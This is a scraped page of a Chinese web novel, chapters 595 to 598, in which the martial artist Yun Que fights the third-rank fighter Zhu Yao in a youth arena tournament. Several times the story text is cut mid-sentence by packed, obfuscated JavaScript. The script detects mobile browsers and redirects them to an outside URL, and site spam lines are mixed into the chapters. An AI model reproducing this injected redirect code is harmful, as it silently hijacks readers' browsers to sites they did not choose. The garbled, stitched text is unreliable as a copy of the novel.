RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462684|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ,分别以十二生肖作为代号。 除此之外,左兰山对星辰殿再无更多的了解。 但左兰山身为大秦丞相,不仅对大秦了若指掌,对云州各国的局势也十分了解,他收集的情报远超旁人,加上手里有地动仪这种异宝,几乎能随时观测云州大地的动态。 结合情报与地动仪,左兰山察觉到近几十年来,云州诸国有一种奇特的变化。 仿佛有一只无形的大手,在拨弄着云州大地。 尽管无法确定云州诸国的变化是否与星辰殿有关,但是左兰山有着强烈的预感,星辰殿这处隐匿极深又十分强大的势力,绝对有着搅动云州的力量。 所以他在听闻戌狗和亥猪这种词汇的时候,所有注意力全被吸引了过去,至于大皇子有什么事,过会儿再说也不迟。 赢财说了半句话,尴尬了一下,见丞相盯着擂台,他只好重新坐回去。 看了眼旁边半死不活的二皇子,赢财叹了口气,心说二弟你多遭点罪吧,反正死不了,先保住驸马再说, 擂台上, 被戏耍的朱幺已经怒不可赦,呜嗷怪叫,破口大骂。 “敢当我爷爷!好好好!老子今天不把你打得骨断筋折,我就不叫朱幺!” 嘭!!! 朱幺将大棍砸在地面,擂台随之开裂。 咔嚓嚓的闷响不绝于耳。 整个擂台,竟被其一分为二! 离着擂台较近的人们被吓得纷纷后退,场面一时间混乱不堪。 擂台四周很快清空,没人敢靠近十丈之内,都离着远远的观望。 此时的擂台上,云缺与朱幺各自立于半个擂台,中间隔着一道大沟,宛如境界差距所带来的天堑。 砸裂了擂台,朱幺也随之冷静下来,狞声道: “除了油嘴滑舌,你也没什么能耐嘛,完美金身又能如何,在归真面前,任何五品都是废物!老子今天让你见识见识,归真强者真正的可怕之处!” 朱幺说话间,周身气机忽然消散得一点都不剩,他整个人仿佛失去了修为一般,竟感受不到半点气机波动。 云缺目光一沉。 握刀的手,再次紧了几分。 朱幺的气机消失,云缺反而感受到一种更加可怕的威胁。 如果说之前的朱幺像一头发怒的蛮牛,力大无穷横冲直撞,那么此时的朱幺则成了一头隐藏在林间的猛虎,落爪无声,形如大猫,却比蛮牛要凶险百倍。 蛮牛易斗,猛虎难缠。 这是谁都知道的道理。 朱幺以单手持棍,冷笑道: “不到三品不知何为归真,今天我大发慈悲告诉你,归真境真正的含义,是返璞归真!归真强者不仅能动用领域之力封印空间,还能将所有气机收敛压缩到极致,达到一指穿铁,一棍崩山的威能。” “能让我动用三品归真的全力,你已经很不错了,不过很可惜,你今天走不下少年擂!” 朱幺话音未落,突然间整个人消失不见! 四周的人们纷纷惊呼起来。 下一刻,朱幺竟越过了大半个擂台,出现在云缺面前,手里的大棍迎面砸下! 棍风化作硕大的虎头,嘶吼着将云缺吞没! 在四周众人看来,朱幺砸下的就不是什么大棍,而是砸出了一头吞山的恶虎! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第595章 妖武战归真 三品归真,气机无限。 简单几个字,是对归真境武夫的粗略概括,也是最为恰当的描述。 近乎无限的气机若被尽数压缩于本体,不仅能让自身爆发出恐怖的威能,还能获得源源不断的战力。 归真武夫,在战场上连战十天轻而易举。 朱幺动用了归真境界的全力,压缩到极致的气机令他本体得到巨大增幅,速度上的不足就此被弥补。 此刻朱幺的速度,已经不亚于云缺的影步,短距离之内可以瞬息而至,在擂台上拉出了残影。 轰鸣之中, 棍影笼罩了百丈方圆,地面上碎石翻飞,气浪四溢。 原本离开很远的人群,再次往后急退! 擂台区域,空出了数百丈空地,归真强者全力一击,没人敢大意,生怕被外溢的气机波及。 即便退得很快,仍旧有很多人被气浪掀翻,跌倒一片。 当人们惊疑不定的站稳之后,看到了废墟里一道健壮高大的身影,手里提着大棍。 原本的小胖子已经消失不见。 此时的朱幺,身体高有两丈,浑身肥肉,犹如一座小号儿的肉山。 大嘴中喷着热气,发出呼噜噜的低吼。 而云缺则站在废墟一侧,以影身之法险而又险的避开了刚才那一击。 史得侩惊讶道: “那是朱幺?他怎么长大了!” 柳真真忌惮万分的道: “是归真之力!这些年他始终以归真强者的特殊手段压制着本体,让我们误以为他是同龄人,如今放开了全力,终于现出真身,这才是他原本的模样!” 少年城的众人在大惊之后,纷纷心头发冷。 如此可怕的强者,竟在他们中间生活了十多年,关键还有不少人嘲笑甚至戏耍过朱幺,此时不由得一阵阵后怕。 朱幺的本体虽然胖如肉山,但并非妖物,他发出呼噜噜的低吼,完全是因为下巴太胖。 朱幺提着大棍,嘿嘿冷笑道: “小废物,见到三品真正的实力,是不是被吓尿了啊!嘿嘿!老子可不留手了哦,待会儿被打死了算你命短!” 朱幺抡动大棍,破空的嗡鸣声暴起。 云缺能感受到朱幺现出真身之 后,其本体的气息波动比原先至少强大了倍许。 尤其来自四周的禁锢之力,随之恐怖了数倍! 朱幺之前果然没动用全力,现在展现的,才是他真正的实力! 人群中,云缺的熟人再次担心起来。 云缺进阶五品金身境,实力得到大幅提升,又动用了强大的黑刀,战力几乎不弱于四品破军。 可三品归真的强大,实在令人胆寒。 白誉段无病等人都认定了云缺能战四品,但是对上三品归真,胜算渺茫。 云缺神色凝重,毫无惧意,道: “非得等我成为完美金身才拿出全力,若是最开始你便动用现在的力量,我恐怕没机会进阶五品,就会被你打杀在擂台,看来你这人心肠不错,念旧情。” 朱幺怪笑道: “当然了!当初在少年城,我可没少请你喝酒,当你一次垫脚石又何妨,嘿嘿嘿。” 随着朱幺本体的长大,他外面的衣袍尽数被撑裂,现出了其内的一身紫袍,衣襟与领口均有云纹,袖口处,绣着一个清晰的亥字。 朱幺亥猪的身份,自此得到了确定。 云缺淡淡一笑,道: “既然你如此念旧情,不如多念一次,说说你为何知道我要去宝境。” 没有立刻动手,是因为云缺察觉到了一些不同寻常的地方。 朱幺的实力,比云缺想象的要强大,这家伙绝非刚刚踏入三品,而是实力扎实的归真武夫。 擂台上的所有打斗,朱幺其实一直没动用全力。 之前云缺觉得这家伙应该是狂妄,对自己这个小小的六品宗师不屑一顾,如今想来,实在奇怪。 云缺有一种感觉,好像朱幺很了解自己似的。 毁掉宝境二重入口的说法,完美金身之前始终没动用全力,还有见到妖刀时的那份忌惮,都在证明着朱幺这家伙的古怪。 所以云缺才会有此一问,打算套点话出来。 朱幺怪笑了一声,表情古怪的道: “我不但知道你要去宝境二重,还知道你是大晋平天王呢,嘿嘿嘿,女帝的滋味如何呀,比大秦公主如何,嘎嘎嘎嘎!” 朱幺的笑声,传遍整个少年城。 四周的人们纷纷错愕不已。 笑声虽然难听,但朱幺这句话带出的信息实在太多! 大晋平天王,还娶了大晋女帝! 白誉狠狠一跺脚,心说坏了,云缺的身份彻底被公之于众,这里可是大秦的地盘,假太子的下场可想而知。 鸿影倒是没觉得什么意外,在他看来,以师兄的能耐封王侯娶女帝天经地义,平天王这封号实至名归。 柳真真目光呆滞,心里好像有东西碎了一地。 她日思夜想的如意郎君居然早已娶妻,还娶的是女帝,这还不算,娶完女帝还要去大秦娶公主!这么娶下去,我得排到什么时候! 商福疑惑得嘀咕着大晋,他都不知道云州还有如此国度,觉得十分陌生。 商暮的神色则变得异样起来。 饱读诗书的商暮在瞬间就想起了大晋在何处,不仅如此,她还想到了大晋立国之前的大燕,想到了前朝大燕名动四方的斩妖司! “他不是大晋之人,他是燕人…… 商暮呢喃道,她猜到了云缺真正的来历。 因为妖武者,除了大商之外,整个云州就只有前朝大燕的斩妖司才有! 商福挠了挠头,听不懂晋人与燕人有什么区别,不都是个犄角旮旯里的小国之人么。 段无病的脸色变得有些苍白,瞄了眼大皇子与丞相。 发现大皇子的表情是惊讶中透着疑惑,好像不太相信朱幺所言,丞相则神色不变,看不出人家在想着什么。 丞相看似不为所动,安稳如常,左兰山的脑海里却是惊涛骇浪! 身为大秦丞相,对云州诸国可以说了如指掌,近期发生的大事,左兰山均有耳闻。 比如大唐灭佛,比如冒土国的混乱,比如邵武国的异动,比如大晋出了一位斩皇帝的平天王! 平天王三个字,大秦中没几个人认得,但是左兰山如雷贯耳! 覆灭红莲教,力敌朱邪部,炮轰天门关,将大晋闹了个天翻地覆,最后把自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478108|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的女人推上皇位的奇人,平天王! 是他…… 左兰山原本站着,此时缓缓跌坐了下去,眼眸之内藏着深深的震撼。 从大晋一直闹到了大秦,这种狠人,大秦丞相也未必拿捏得住,左兰山一时间生出一种无力感。 幸好他不 知道云缺在来大秦之前,把大唐也祸害得不轻,否则这时候非得死了心思不可。 云缺目光始终不变。 朱幺能道出自己的真正身份,云缺一点都不意外。 身为十二生肖的亥猪,朱幺完全可以接触到魏墨城,从魏墨城口中打听到自己的身份。 其他都不意外,但是朱幺为何知道自己要去宝境二重,始终是一个无法解释的谜团,云缺怎么也想不通,消息到底是谁传出去的? “继续说,最好把我的生平事迹全部告知天下,我一天吃几顿饭,一次睡几个时辰都说出来,再说说我为何要去宝境。”云缺继续套话道。 “我知道的东西,远远比你想象的要多,想知道我的消息来自何处是不是,简单!”朱幺怪笑道:“打败我,你就会知道所有真相!” 云缺深吸一口气,抬起右手,黑刀在半空划出一道黑线! “一言为定!” 说罢,云缺周身涌动起狂暴的气息。 并非武者的气机,而是精纯的妖气! 从朱幺的言辞之中,云缺看到了一份道理。 上了棋盘,即为棋子! 再一次,云缺感受到自己身为棋子的宿命。 而这种宿命的感觉,是云缺最为厌恶、最为仇视的东西。 棋子,就要按照棋手的摆布来行走,想要不被摆布,只有自己杀出一条棋路! 尽管云缺站上了棋盘,仍旧看不到清晰的棋路。 此时的云缺,远远没有掀棋盘的力量,但杀出一条棋路,未必做不到! 嗡!!!!!! 妖刀震颤,发出刺耳的嗡鸣之音。 云缺的双眼随之铺上了殷红,转为竖瞳! 第一次! 云缺在少年擂上,动用了妖力! 竖瞳之后,满头长发变成了殷红,云缺的肩头起伏着肉眼可见的浓郁妖气,宛如两只巨爪即将冲出。 肉山般的朱幺,在人们眼里确实狰狞可怕,加上他的三品之力与大棍法宝,没人认为云缺能获胜。 可此时云缺展现出的状态更加恐怖! 汹涌的妖气散发开来,令无数少年修士误以为有妖族来临,甚至不少人下意识的抓出了武器戒备。 所有人都在震惊着云缺的异变,唯独商暮,此时眼中满是火热! 她终于见到了云缺身上封印的妖力,她想要比对一番,到底是大商遗民的妖力更为纯正,还是来自大燕的猎妖人更胜一筹。 擂台区域, 三品归真的磅礴气机与妖血武夫的精纯妖气,形成了两种不同颜色的空间壁垒。 云缺一方为殷红,朱幺一方为灰黑。 一红一黑,两道不相上下的恐怖气息宛如两面高耸的城墙,随着两人同时的冲杀,而轰鸣着撞击在一处…… 少年擂最终决战的战场上,上演了百年难遇的一幕。 妖血武夫,对战三品归真! 第596章 斩妖司的刀神 释放出妖力的云缺,已经再无任何顾忌。 因为云缺知道,自己踏上了棋盘,再有保留,将会粉身碎骨! 这一战,云缺动用了全力,妖刀斩出的刀风宛如巨浪,一片又一片层层叠叠,不绝不断。 朱幺的大棍横扫竖劈,砸出的棍风形成无数恶虎,悍然扑杀。 围观的人们甚至生出一种错觉。 擂台区域根本没有人在战斗,而是海浪与虎群在对冲! 刀海之浪,一层层碎裂。 猛虎之群,一片片崩塌。 周围众人再一次向后退去,因为打斗中溢出的刀风与棍风变得愈发恐怖,离着数百丈都不安全。 轰鸣阵阵,地面不断出现巨大的裂纹,朝着四面八方蔓延。 若从高空看去,仿佛少年城里出现了天塌地陷,地面的龟裂不断爬满全城。 云缺能力战归真强者的实力,看得众人目瞪口呆,人们一时间忘记了云缺那些奇葩身份,仿佛在望着一位少年强者,在攀登着少年王的王位。 极度的期待与难以压制的热血,出现在所有少年们的心头。 敢力战归真,这才是少年王该有的勇气与实力。 这一刻,云缺的王者之名,众望所归! 与四周的少年修士不同,动用了妖力的云缺,就此沉浸在杀戮的畅快之中。 朱幺的领域能力可以压制五行气息,赤炎拳与奔雷掌很难发挥出威能,云缺所动用的,只有刀法与影步。 断刀式配合影步之下,每一刀都凌厉至极,威能惊人。 朱幺短时间内无法取胜,暴跳如雷,将归真气机灌入武器当中,一棍砸在地面。 剧烈的轰鸣如同地龙翻身,周围许多人站立不稳。 少年城的城墙上,被震碎了无数砖块,沙土飞扬。 “裂地棍法! 朱幺一声大吼,一道道棍气形成的气柱拔地而起! 每一道气柱都有可怕的威能,犹如在擂台区域立起了一片石林! 数百道巨大的气柱,完全将打斗之地封死,云缺只能在气柱中快速挪移。 最后有一道实在无法躲避,硬是以妖刀将其斩开。 破开对方的棍法后,云缺脚下掠动,竟分出十道残影,从 不同的方位攻向朱幺。 看似残影,其实是十道影身。 进阶五品完美金身之后,云缺随之掌握了影身之法的更高境界。 十影身! 十个云缺,十把妖刀,围攻归真! 朱幺转动大棍,霍霍生风,将自身围得风雨不透。 十道云缺的身影尽数被挡在棍风之外。 尽管十影身齐齐动用了断刀式,仍旧伤不到朱幺分毫,所有黑刀尽数被大棍崩开。 打斗的速度变得极快。 人们没来得及眨眼,云缺的十影身已经斩出了上千刀! 面对着如此猛烈的攻势,朱幺仍旧应对有据,大棍在他手里转成了风车,抵挡刀气的同时,还有时间轰杀影身。 砰砰声接连响起。 在三品归真的全力之下,一道又一道影身被击碎。 十影身确实难缠,即便四品修士被围困也很难脱身,但是影身之法有个弊端。 分出的影身,实力远远不及本体,想要以影身之力斩杀朱幺,毫无机会。 当然云缺也没打算用影身斩三品,他要的,就是朱幺分心! 当影身被摧毁了七道的时候,剩下的三个云缺分别在朱幺左侧右侧与背后发动了断刀式。 左侧的云缺动用的是第四式,四断百鬼子孙。 右侧的云缺动用的是第五式,五断邪魔百怪。 朱幺背后的云缺,没用刀法,单纯以妖刀自上而下全力劈斩。 身为三品归真,朱幺的感知极其敏锐,瞬间就捕获到三道影身所对应的不同力量。 朱幺分不出哪一个才是云缺的本体,但是从刀法的威能来看,明显右侧的云缺最为凌厉,并且第五式断刀式的威能也最强。 朱幺瞬间做出应对。 他以大棍横扫先打碎了左侧的影身,然后双手持棍接下了右侧影身的断刀式,并且顺势将其轰杀。 对于背后的影身,朱幺准备留在最后应对,若是右侧的影身为本体,那么本体被重创或者灭杀之际,背后的影身会随之彻底消失。 别看接连应对三方攻势,朱幺的速度却极快,几乎在瞬间完成。 然而出乎他预料的是,右侧被打碎的云缺,居然不是本体! 那么只剩下 背后的一个! 朱幺打碎两道影身后再想去打背后的云缺已经来不及了。 别看劈斩得毫无招式妖刀自上而下斩来却在斩落的途中暴起了刀法气息! 刀光顷刻间化为成百上千横竖相叠的刀气组成了一张从天而落的刀网! 云缺本体全力落刀口中低喝: “六断!天师来路!” 断刀式第六式六断天师来路! 这一刀可以说是云缺最强的一刀。 创出此招的目的是斩断敌人的所有来路与退路密集的刀气组成刀网将战场上所有敌人尽数笼罩尽数切碎! 面对铺天盖地的刀网朱幺擎棍硬抗。 无数刀气尽数落地炸出了数百个大坑。 如此威能 连左兰山的眼皮都跟着一跳。 在场的不仅有武夫其他派系的修行者也有不少。 如此范围的刀网连三品归真都避无可避其他五品乃至六品更没机会躲开。 武夫会被切成碎块其他派系的修行者连碎块都剩不下只能是灰飞烟灭! 一些道门与儒家修士看得直吸冷气。 武夫最难缠的一点是近身肉搏几乎同阶中没有任何派系能在近身的情况下战胜武夫。 不过远离武夫的办法也有很多。 比如动用短距离挪移符箓轻身类的法术或者一些重盾类的防御法器与法宝都能克制近身的武夫。 然而大范围的刀法剑法这些挪移符箓与轻身法术可避不开会被完全笼罩在其中。 比起惧怕武夫近身其他派系的修行者更加惧怕武夫施展大范围的攻击招式。 幸好武夫的招式大多单一单对单的情况居多范围太大的很少。 这才能让其他派系的修行者对上同阶武夫的时候不那么畏手畏脚。 而云缺此时施展的断刀式别说道门儒家的同阶修士就是其他派系的四品高手看到都觉得心惊肉跳。 很难躲得开! 一旦躲避不开就得陷入刀法的笼罩连三品归真都扛得很艰难在场的人们除了左兰山之外没人认为自己能抗住云缺这一刀! 被刀网笼罩之后朱 幺奋力抗衡,身上挨了好几刀,满是肥肉的脖子多出几道伤口。 仗着归真之躯的强悍,朱幺以大棍将刀网撕裂开一个口子。 他抬头盯向半空,现出狰狞冷笑。 刀势结束,云缺正在下落,此刻正是击杀的良机! 棍法运转,朱幺至下而上甩出一击。 “开山裂地棍! 朱幺也动用了杀招。 这一棍尚未出手,便有棍势凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478109|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚,仿佛他抡出的不是一棍,而是要扔出一座高山! 在地面打半空,自然优势极大,除非云缺会飞,否则避无可避。 汇聚气机阶梯踏空而行,那是四品破军的能力,五品金身可做不到,完美境界也不行。 这与自身实力无关,完全是境界所带来的天赋之力,不到破军,武夫无法悬停半空。 眼见着朱幺的棍势已起,四周的人们纷纷倒吸冷气,替云缺捏着一把汗。 这场惊人的打斗,将观战众人的心情搅动得七上八下,提心吊胆。 如此恶战,实在精彩。 无数少年们已经将自己带入到云缺的身上,云缺的一举一动,都在牵动着所有少年人的心弦。 从被打得濒死,到突破完美金身,直至绝地反击,这段过程,犹如少年们的一生,有高光时刻,有人生低谷,亦有爬出深渊之后的浑身畅快! 可以说如今的云缺,代表着成千上万名少年修士的意志与希望。 那便是赢! 世上还有什么事,是比战胜无法匹敌的强敌还要令人期待,令人痛快呢。 半空中的云缺,并未辜负少年们的期望。 尽管无法踏空而立,云缺却在下坠途中摆出了一个奇异的起手式。 刀背于身后,左手在身前连点,仿佛在半空作画。 如此奇怪的起手式,令周围的少年们疑惑不解,有人认为云缺要施法,否则怎会胡乱点指,也有人认为云缺失去了平衡,想要借助气机之力稳住身体。 疑惑中,无数少年看到了奇异的一幕! 随着云缺手指的划动,朱幺所在的地面上居然汇聚出一座由气机组成的庙宇! 尽管形成庙宇的气机很模糊,仍旧能分辨出轮廓,宛如一座威严庄重的神庙,大殿中立着高大的 神像! 这是什么法门! 刀法,还是法术! 无数念头出现在少年们的心头。 道门与儒家修士感受不到法力的波动,唯有在场的武者,能体会到那种熟悉的武道气息。 云缺施展的不是法术,而是刀法! 断刀式的第七式! 以云缺的武道造诣,冲进完美金身之后,断刀式的后续功法如同水到渠成般明悟于心头。 然而这份明悟也仅仅限制到第六式。 第七式,云缺其实用不出来。 但是云缺见过这一招刀法的运转,而且印象深刻。 这一刀,出现在北伐妖都的战场,来自斩妖司最为精通刀法的一位强者之手。 此人被誉为斩妖司的刀神,本身实力在斩妖司不是最强,但是刀法,在斩妖司绝对能称为第一人。 那位斩妖司的刀神,叫做云长吉,正是云缺的生父! 妖都之战,云缺最后一眼看到父亲的时候,正是父亲动用断刀式第七式,斩向一头强大的野猪妖。 十余年之后, 少年擂的擂台之上,云缺凭借当年目睹父亲那一刀,施展出了第七式。 气机庙宇形成之际,云缺背在身后的妖刀直接斩出一道百丈刀光! 漆黑的刀光出现之际,最后一缕夕阳同时消失,这一刀,斩出了永夜。 “第七式……” 云缺目光如火,妖刀如雷,低吼道:“七断南阎大庙神!” 轰隆隆!!!!!!!!!!!!!! 漆黑的刀光落在气机庙宇之上,炸起了漫天黑芒,庙中的神像如禁锢般牢牢锁在朱幺身上,被一斩而开! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第597章 听从天命的凡人 惊天的刀光过后,黑夜随之来临。 少年城被黑暗笼罩。 擂台区域的人们,甚至一时间忘记了点燃灯火。 这一刻,整个少年城变得无比宁静,甚至听不到呼吸声。 所有人都在屏息凝气,被方才那一刀的威能彻底震撼。 五品境界的武夫,居然能斩出不弱于三品的刀气! 境界鸿沟,仿佛在此刻消失殆尽! 人们忘记了云缺真实的修为,觉得恶战的双方根本是同阶对手。 废墟般的擂台区域,两道身影各自立于黑暗当中,静如雕塑。 咔……咔……咔…… 地面上不断有裂纹在蔓延,大地开裂的轻微响动,成了静夜里唯一的声音。 这种微小却刺耳的声音,很快惊醒了众人,人们慌乱着开始点燃风灯。 一个个巨大的灯笼亮了起来,将擂台区域照耀得亮如白昼。 人们终于看清了战场。 云缺持刀而立,双眼是猩红竖瞳,周身涌动的妖气汹涌如山,宛如实质,在灯火映照之下好似九幽而来的杀神! 朱幺保持着擎棍朝天的姿态,身上看不出伤口,只能看到一道刀痕从其额头蔓延到下颏。 如此异象,令周围的少年们惊疑不定,看不出到底谁赢谁输。 很快,朱幺的身体晃了晃,踉跄了一下,将大棍杵在地面。 咔吧一声闷响! 法宝级别的大棍,居然折为两半! 随着大棍落地,朱幺脸上的刀痕迸溅出鲜血! 嘶啦一声, 朱幺身上的紫袍从下颏处的领口开始,到其右肋处直接开裂! 代表着星辰殿的紫袍,竟被一刀斩开! 借着明亮的灯火光芒,人们终于看清,朱幺从额头开始的那道刀痕,竟蔓延到其下肋处。 血肉被劈斩开,甚至能看到森白的骨头! 这一刀不仅斩断了朱幺的大棍,更险些将朱幺一分两半! 全场鸦雀无声! 随后是无数倒吸冷气的响动。 云缺的战力,震惊了无数少年修士。 以五品金身,竟能力斩三品归真! 尽管没能砍死朱幺,但能将三品归真重创到如此程度,已经 足够惊人,堪称奇迹! 朱幺确实没死,不过伤得可不轻。 他缓缓低头,看了看自己身上可怕的伤口,一张大脸上满是不可置信之色。 他可是三品归真啊! 在动用法宝的情况下,居然被一个五品武夫给砍到如此地步。 好比一头野狼戏耍家猫,结果被家猫挠出了一身血印子…… 朱幺甚至生出一种感觉,他打的根本不是什么五品金身,而是同阶的归真强者! 什么境界鸿沟,什么等阶压制,统统没了! 云缺的气息很重,呼出的都是热气。 这一刀确实威力惊人,但是消耗的气机也极其庞大,斩出第七式断刀式之后,云缺有一种强烈的疲惫感。 仿佛自己连战了三天三夜,乏累不堪。 但心里却痛快至极! 第七式的断刀式,威力居然如此强大,不仅斩断了朱幺的法宝,还能将一位真正的三品归真重创。 如此招式,若云缺自己也能达到三品,那么斩杀归真同阶如同砍瓜切菜! 云缺仰起头,望向漆黑的夜空。 他仿佛看到了父亲的音容笑貌。 “爹,您老的刀法,儿学会了…… 云缺在心里默默自语。 若非当年目睹过父亲动用的这一招,云缺此时根本用不出第七式。 父亲早已战死在北域妖都,但云缺觉得父亲始终没有远走,就在夜空深处,陪伴着自己。 与家人在一起的童年记忆太少。 云缺只对母亲的印象最为深刻,父亲的身影则模糊了许多。 云缺记得自己与母亲在树下玩耍的时候,父亲总会坐在远处的屋檐下,默默望着自己,时而发出呵呵的轻笑。 云缺努力回忆着父亲的模样,那张本该熟悉的脸庞,却随着岁月的流逝而逐渐模糊。 这一刻,云缺的心头隐隐发疼。 云缺第一次感受到岁月的可怕。 岁月,不但能带走最亲近的家人,也能带走关于家人们的美好记忆…… 云缺暗暗发誓, 等少年擂结束,一定要画一幅父亲的画像,永远留在身边。 散去心头的思念,云缺目光随之凝重起来。 说更新,记住域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 这一刀仅仅将朱幺重创而已,一位三品归真境强者,必然还有再战之力。 少年擂,还没完! 哐当! 朱幺将手里半截的大棍扔掉,用胖乎乎的大手在伤口处接连拍打数下。 随着他的拍打,狰狞的伤口居然开始合拢! 不多时,伤口表面竟已经结疤! 云缺的心头有些发沉。 伤口合拢不算什么,以朱幺强大的修为,足以动用气机将伤口封闭,完全可以达到滴血不出的效果。 云缺曾经见过七叔给一名刀伤极重的病患缝合伤口,缝合的好处,可以让伤口尽快愈合。 朱幺封闭伤口的举动,是处理刀伤的最佳选择,而真正令云缺震惊的,是伤口上出现的疤痕! 短短几个呼吸而已,伤口即可结疤,如此异象只能说明一点。 三品归真的自愈能力,达到了一种外人难以想象的地步! 云缺与四品破军动过手,还不止一次,对四品破军可以说比较了解。 云缺能确定,四品破军如果受伤,绝对不可能在极短的时间内就出现结疤这种现象。 好可怕的归真境…… 云缺在心惊之余,浑身妖气再次变重了几分。 这一战,太过艰难。 毕竟月魁的等阶只是三阶妖王,与归真同阶而已,若是完全妖化,或许有机会杀掉其他派系的修行者,但是杀归真,机会渺茫,几乎没什么可能。 等阶越高的武夫,本体越加强悍,生命力与自愈力都会得到大幅提升。 随着对三品归真的越发了解,云缺对提升境界的期待也越来越高。 不用多,只要到了四品破军,再对上三品,绝对比现在要轻松得多,甚至有机会斩杀归真! “不愧是天命之人啊……” 朱幺声音低沉而阴森的道:“完美金身,身法绝学,妖魂之力,刀斩归真,你这种人一般都会出现在茶馆说书先生的故事里,是天下无敌的主角,但是很可惜,这里没有说书人,你的妖刀确实很强,但它只是三阶妖王罢了,想要斩杀归真,它还没这个资格!” 云缺目光发沉。 对方能看出妖刀的等阶,不算意外,但是天命人的称呼,云缺总觉得不舒服。 天命之人听着神秘莫测霸气通玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493015|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可说到底不过是听从天命的凡人罢了仍旧是棋子一枚。 云缺淡然道: “以我五品修为杀掉归真确实很难不过把你身上的肥肉多切下来几片喂狗倒是容易。” 朱幺狞笑道: “哈哈哈!好哇!老子倒要看看你还能砍我几刀!” 说话间朱幺将双拳对撞。 在嘭嘭闷响中他两个胖乎乎的拳头居然膨胀开来扩大了十倍好似手腕上悬着两个硕大的铁锤! 轰隆!!! 朱幺一拳砸在地面顿时砸出一个大坑。 “终极状态的开山拳看看你能不能吃得消!”朱幺晃动巨拳就要攻来。 “十斤!” 云缺忽然道出两个奇怪的字眼。 朱幺闻言一怔疑惑道:“十斤?你说我的开山拳只有十斤!” 云缺摇头道: “没说你的拳头我说的是你的肉我只要切下来十斤你就将如何得知我要去宝境的消息说出来怎么样。” “可以!”朱幺狞声道:“给你打个八折你要是能切我八斤肉下来我就告诉你消息的来源!” “一言为定!反悔的是有爹生没爹养老娘进青楼姥姥拉皮条祖宗十八代都姓龟的龟孙子。”云缺道。 朱幺听得直愣神儿。 这也太狠了咒人咒全家啊。 云缺当然要狠点因为这是一次单向赌斗。 只有朱幺吃亏切八斤肉就说消息的来源。 而云缺即便没切下来一两肉也没有任何损失。 不等朱幺反应过来云缺当先出手。 再次动用了十影身! 十道身影各持黑刀从不同方向围攻而去。 别看只有十道身影冲杀的气势不弱于十万大军! 因为敌人是三品归真! 胆敢以五品之境冲杀三品强者 说更新,记住域名qiexs.com⒋(请来企鹅小 说 看最新章节 完整章节)这份武勇无人能及。 朱幺晃动巨拳迎战。 他的拳头变得无比巨大竟极其灵活坚固的程度不亚于法宝足以崩开妖刀的劈斩。 尽管失去了武器大棍朱幺的战力并未变弱反而越战越猛。 在围观众人的眼 里,这场入夜之后的恶战,好似狼群在围攻一头凶悍的野猪,杀得天昏地暗,斗得难解难分。 柳真真怕灯光不够明亮,影响云缺比斗,急忙吩咐少年城的人点燃更多的风灯。 越来越多的风灯亮起。 除了擂台区域,连城墙都被照亮,整座少年城变得灯火通明。 人们紧张的观战,连左兰山也不例外。 云缺虽然动用出远超五品的战力,但是优势并没有太多,三品归真的战力实在可怕,这场少年擂的决战究竟鹿死谁手,不得而知。 每个人都紧张不已,一眼不眨的盯着战场。 入夜后,乌云散尽。 起风了。 夜风微凉,吹得满城风灯摇晃不停,仿佛有一只无形大手,在拨弄着名为宿命的琴弦。 城外的风,更烈。 寒风旋转而起,围绕着少年城,不断汇聚。 由于城外没有灯火,若有光亮出现,即可发现那寒风竟是黑色! 在旋转的寒风尽头,是一头通体漆黑,额头上开裂出第三只眼的妖犬! 亥猪在少年城内恶战不休。 戌狗,则在少年城的城墙之外,卷起了汹涌的妖风。 第598章 少年王 恶战始终在持续。 云缺的十影身,不断被朱幺硕大的巨拳砸碎,又不断被云缺汇聚出来。 围攻朱幺的影身,始终保持在十道。 十把黑刀全力进攻之下,时而在朱幺身上划出血淋淋的伤口,不过很快就被朱幺以气机合拢并且快速结疤。 云缺在耗费着大量气机,制造影身。 朱幺在动用着全部力量,摧毁影身。 战到此时,终于变成了拉锯战,比拼的,是谁的气机更强更加持久。 